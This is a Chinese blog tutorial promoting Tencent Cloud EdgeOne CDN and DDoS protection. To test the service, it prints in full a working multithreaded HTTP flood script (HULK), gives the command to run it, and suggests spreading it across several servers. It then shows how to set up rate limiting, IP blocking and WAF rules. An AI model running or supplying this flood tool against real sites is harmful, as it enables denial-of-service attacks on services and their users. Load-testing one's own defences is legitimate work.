赞
踩
众所周知,网站如果没有安全防护,极易遭受恶意攻击,导致运行受阻甚至瘫痪。为保障网站的安全稳定运行,必须采取诸如CDN加速与DDoS防护等措施,为用户提供安全、可靠的服务。
本文将基于腾讯云边缘安全加速平台,介绍网站接入CDN和DDoS防护的重要性、实施方法以及最佳实践,为大家提供有价值的参考。
边缘安全加速平台全称 Tencent cloud EdgeOne ,简称 EO(下文简称为 EdgeOne)。
一张图看懂EdgeOne是什么。
如图所示,当用户向源站发起请求时,EdgeOne会依托腾讯边缘计算节点,为网站提供全方位的边界保护,包括DDOS防护、CC防护、WEB安全防护以及BOT安全防护等。不仅如此,还为用户提供网站加速服务,通过综合的安全防护与加速功能,为用户的网站提供强有力的支持与保障。
简单来讲,EdgeOne 就是CDN和高仿服务器的结合体。
更详细的介绍可以移步至官网。
在网站接入EdgeOne前,先模拟一下被攻击,看一看服务器被攻击的状态。
这里准备一个攻击脚本。这个脚本是一个简单的HTTP请求攻击脚本。它使用多线程来发送大量的HTTP请求到指定的URL,以此方式尝试对目标服务器造成拒绝服务(DoS)攻击。
(仅用于学习和教育目的,不应该用于任何非法或不道德的活动。)
import urllib2 import sys import threading import random import re #global params url='' host='' headers_useragents=[] headers_referers=[] request_counter=0 flag=0 safe=0 def inc_counter(): global request_counter request_counter+=1 def set_flag(val): global flag flag=val def set_safe(): global safe safe=1 # generates a user agent array def useragent_list(): global headers_useragents headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') return(headers_useragents) # generates a referer array def referer_list(): global headers_referers headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('http://' + host + '/') return(headers_referers) #builds random ascii string def buildblock(size): out_str = '' for i in range(0, size): a = random.randint(65, 90) out_str += chr(a) return(out_str) def usage(): print '---------------------------------------------------' print 'USAGE: python hulk.py <url>' print 'you can add "safe" after url, to autoshut after dos' print '---------------------------------------------------' #http request def httpcall(url): useragent_list() referer_list() code=0 if url.count("?")>0: param_joiner="&" else: param_joiner="?" request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10))) request.add_header('User-Agent', random.choice(headers_useragents)) request.add_header('Cache-Control', 'no-cache') request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7') request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10))) request.add_header('Keep-Alive', random.randint(110,120)) request.add_header('Connection', 'keep-alive') request.add_header('Host',host) try: urllib2.urlopen(request) except urllib2.HTTPError, e: #print e.code set_flag(1) print 'Response Code 500' code=500 except urllib2.URLError, e: #print e.reason sys.exit() else: inc_counter() urllib2.urlopen(request) return(code) #http caller thread class HTTPThread(threading.Thread): def run(self): try: while flag<2: code=httpcall(url) if (code==500) & (safe==1): set_flag(2) except Exception, ex: pass # monitors http threads and counts requests class MonitorThread(threading.Thread): def run(self): previous=request_counter while flag==0: if (previous+100<request_counter) & (previous<>request_counter): print "%d Requests Sent" % (request_counter) previous=request_counter if flag==2: print "\n-- HULK Attack Finished --" #execute if len(sys.argv) < 2: usage() sys.exit() else: if sys.argv[1]=="help": usage() sys.exit() else: print "-- HULK Attack Started --" if len(sys.argv)== 3: if sys.argv[2]=="safe": set_safe() url = sys.argv[1] if url.count("/")==2: url = url + "/" m = re.search('http\://([^/]*)/?.*', url) host = m.group(1) for i in range(500): t = HTTPThread() t.start() t = MonitorThread() t.start()
在脚本目录执行 python hulk.py http://www.xxx.xx对该服务器进行攻击。(有条件的可以分发到多台服务器进行DDos测试)
可以看到,在没有任何防护的情况下,第二批请求就可以让网站崩溃了,直接返回500。
此时我的服务器监控是这样的。
接下来,将自己的网站接入EdgeOne,达到安全加速的效果。下面是接入步骤。
在接入EdgeOne之前,有两个注意事项:
一定要注意!!!
在进入EdgeOne控制台后添加一个站点,如下图。
输入站点名称,填写域名即可。
选择EdgeOne套餐,这里已经购买,直接选择。
接下来选择加速区和接入模式。
这里加速区选择【全球可用区】,接入模式选择 CNAME 接入。
最后将DNS解析添加至域名解析处,验证完成即可。
站点添加完成后就可以添加速域名,这一步操作完成后,这个域名就会成功接入EdgeOne,你的网站就会受到EdgeOne的保护了。下面是完整的操作步骤:
1.进入站点添加域名。
2.配置域名
这里的配置项简单说明一下:
加速域名:填写域名对应的主机记录值即可。例如:当前需添加的加速网站为 www.example.com,这里填写为 www 即可。
源站配置:配置你的服务器IP。
IPv6 访问:根据自己的需求配置。
回源协议:根据自己的需求配置。
回源端口:根据自己的需求配置。
配置:在这一步会根据你选择的配追添加【规则引擎】,也可跳过该步骤,后续自行添加。
最后,在云解析DNS按照下图中配置添加解析记录。
边缘安全加速平台 EO 使用免费证书部署至 EdgeOne 域名-域名服务-文档中心-腾讯云
免费HTTPS证书是如今广大开发者和个人站长所关注的焦点之一。在当今互联网环境下,HTTPS访问已经成为现代网站的必备功能之一。如果网站没有启用HTTPS,不仅会影响网站安全性,还会降低搜索引擎排名。因此,在创建个人博客时,需要为自己的域名申请SSL证书,以实现HTTPS访问。虽然申请SSL证书的方式有很多种,但是传统的申请和部署方式往往比较繁琐,而且免费证书通常有时效性限制,需要定期手动更新。
如果您当前网站还未购买 HTTPS 证书,且加速域名不包含泛域名,可申请使用免费证书来测试支持 HTTPS 访问。
说明:
EdgeOne的免费HTTPS证书功能极大简化了这一流程,提供一键申请和自动续期服务,**无需手动更新,全程自动化管理。**快速开启HTTPS访问。申请免费证书只需简单几步操作即可完成,以下是申请和部署免费证书至EdgeOne的操作步骤:
现在,将网站接入EdgeOne后,看一下能否为我们抵挡住恶意攻击。
再次执行 python hulk.py http://www.xxx.xx 对服务器进行攻击。此时,会看到EdgeOne控制台上会显示访问数据。
这里以CC防护为例进行设置。EdgeOne默认配置比较宽松,因为我的服务器配置较低,所以还需要进行一些配置才能达到防护效果。
这里我将其设置为紧急。当客户端请求超过40次/10秒,就可以紧急防护。
此时,再次执行脚本,就会发现网站已经起到防护效果。如下图
有条件的用户可以将攻击脚本分发到多台服务器进行DDos测试。
EdgeOne还支持自定义防护配置,比如配置访问 IP 黑白名单、Referer 黑名单、UA 黑白名单或地域限制等。
我们可以根据自己的需求进行配置,简单明了。例如,我们可以把刚才防护的客户端IP进行封禁。如下图
当我再次执行脚本时,就会返回对应的错误码了。
还有各种自定义配置详细说明,可以移步边缘安全加速平台 EO > 安全防护 > Web 防护 > 自定义规则。
除此之外,EdgeOne还默认提供包含 OWASP top10 在内的托管规则。能够有效防御如 SQL 注入、XSS 攻击、webshell 上传、命令注入等攻击。
例如,我现在在浏览器地址中输入JS脚本进行XSS攻击,可以看到EdgeOne直接帮我们进行了拦截。
控制台中也可以看到相关拦截记录。
经过本次实践,EdgeOne给我留下了以下几点深刻的感受:
在数字化时代,网络安全已经成为一项至关重要的任务,尤其是在保障网站安全稳定运行方面。依托EdgeOne的加速与安全防护一体化解决方案,我们能够迅速搭建起一套全面且高效的网站安全防护体系。
两三百元钱就可以体验到像CC/WAF/速率限制这种高级安全能力,相当可以了,还可以证书自动续期部署,EdgeOne这个产品很良心了,感兴趣的朋友可以点击链接了解详情:https://cloud.tencent.com/act/pro/edgeone_techoday_promotion?from=22008
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。